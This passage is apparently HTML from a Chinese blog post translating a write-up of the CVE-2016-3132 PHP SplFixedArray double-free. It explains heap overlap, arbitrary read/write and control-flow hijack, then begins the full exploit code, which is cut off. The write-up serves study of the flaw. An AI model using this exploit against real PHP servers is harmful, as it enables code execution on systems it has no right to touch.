&lt;ul&gt;
&lt;li&gt;Step 3: 然后我们看看怎么拿到控制权。注意，只有一个堆块是空的，但是在链表里有两个指针指向同一块空内存。这是因为现在这块堆已经乱了，PHP认为有两个空块。那么，我们可以在12号bin中分配两个空块，他们会占用同一块内存空间：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;str_repeat&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;C&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x48&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; mySpecialSplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; mySpecialSplFixedArray&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; extends&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;   public function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; offsetUnset&lt;&#x2F;span&gt;&lt;span&gt;($offset) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;         parent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;offsetUnset&lt;&#x2F;span&gt;&lt;span&gt;($offset)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们分配了一个字符串（第二行），和一个&lt;code&gt;mySpecialSplFixedArray&lt;&#x2F;code&gt;（第三行），他们占用了同一个地点，也就是原来的第50个&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;。
第三行那里，&lt;code&gt;mySpecialSplFixedArray&lt;&#x2F;code&gt;继承了&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;，但是复写了&lt;code&gt;offsetUnset&lt;&#x2F;code&gt;方法。看一下PHP中&lt;code&gt;String&lt;&#x2F;code&gt;和&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;的结构：
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;Structures.png&quot; alt=&quot;Compare it!&quot; &#x2F;&gt;
- 第一次用&lt;code&gt;$s=str_repeat(&#x27;C&#x27;,0x48)&lt;&#x2F;code&gt;分配字符串的时候，&lt;code&gt;zend_string.len&lt;&#x2F;code&gt;的值是0x48
- 然后，如果分配一个&lt;code&gt;SplFixArray()&lt;&#x2F;code&gt;，由于&lt;code&gt;fptr_offset_set&lt;&#x2F;code&gt;默认值为0，且其和之前的&lt;code&gt;String&lt;&#x2F;code&gt;占有一块内存，因此&lt;code&gt;zend_string.len&lt;&#x2F;code&gt;被改为0。
- 但是，我们覆写了&lt;code&gt;offsetUnset()&lt;&#x2F;code&gt;，因此&lt;code&gt;fptr_offset_set&lt;&#x2F;code&gt;会含有内存中某个用户定义函数的地址，这个地址肯定比0x48大。同样的，&lt;code&gt;zend_string.len&lt;&#x2F;code&gt;也会被覆盖为这个函数地址。那么PHP认为我们有一个很大很大的字符串。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Step 4: 拿到控制流。现在，PHP认为：
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$s&lt;&#x2F;code&gt;是一个很大的字符串，那么我们可以任意读写了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$t&lt;&#x2F;code&gt;是&lt;code&gt;mySpecialSplFixedArray&lt;&#x2F;code&gt;对象，和&lt;code&gt;$s&lt;&#x2F;code&gt;占同一个地方。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们要执行&lt;code&gt;0xdeadbeef&lt;&#x2F;code&gt;处的代码，那么我们需要：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;伪造一个结构体，其析构器指针指向&lt;code&gt;0xdeadbeef&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;覆写&lt;code&gt;mySpecialSplFixedArray&lt;&#x2F;code&gt;的指针，使其指向那个假的结构体&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unset(mySpecialSplFixedArray)&lt;&#x2F;code&gt;，实际是析构了我们伪造好的结构体，那么代码肯定执行了。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;第一步比较好搞，利用刚才的读写工具&lt;code&gt;$s&lt;&#x2F;code&gt;就可以了。第二个也不难。而问题是，伪造假的&lt;code&gt;Handler&lt;&#x2F;code&gt;结构时，我们并不知道假结构的具体地址，那么就比较尴尬了。&lt;&#x2F;p&gt;
&lt;p&gt;解决方法是，释放第51和52个&lt;code&gt;SplFixArray&lt;&#x2F;code&gt;：
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;Memlocation.png&quot; alt=&quot;Bazinga&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样，第51个&lt;code&gt;SplFixArray&lt;&#x2F;code&gt;的前8个字节就指向了第52个&lt;code&gt;SplFixArray&lt;&#x2F;code&gt;。我们可以用之前的&lt;code&gt;$s&lt;&#x2F;code&gt;搞信息泄露了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面是完整的利用代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; #######   HELPER Function ##############&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_ptr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;$mystring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$little_endian&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; hexdec&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;dechex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;($mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; write_ptr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;$mystring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$little_endian&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;$value=dechex($value);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$mystring[$index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(($value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; ####### Exploit Start #######&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; SplFixedArray2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; extends&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;public function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; offsetSet&lt;&#x2F;span&gt;&lt;span&gt;($offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; $value) {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;public function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Count&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;!!!!######!#!#!#COUNT##!#!#!#!#&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;public function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; offsetUnset&lt;&#x2F;span&gt;&lt;span&gt;($offset) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;parent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;offsetUnset&lt;&#x2F;span&gt;&lt;span&gt;($offset)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; exception_handler&lt;&#x2F;span&gt;&lt;span&gt;($exception) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;global&lt;&#x2F;span&gt;&lt;span&gt; $z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
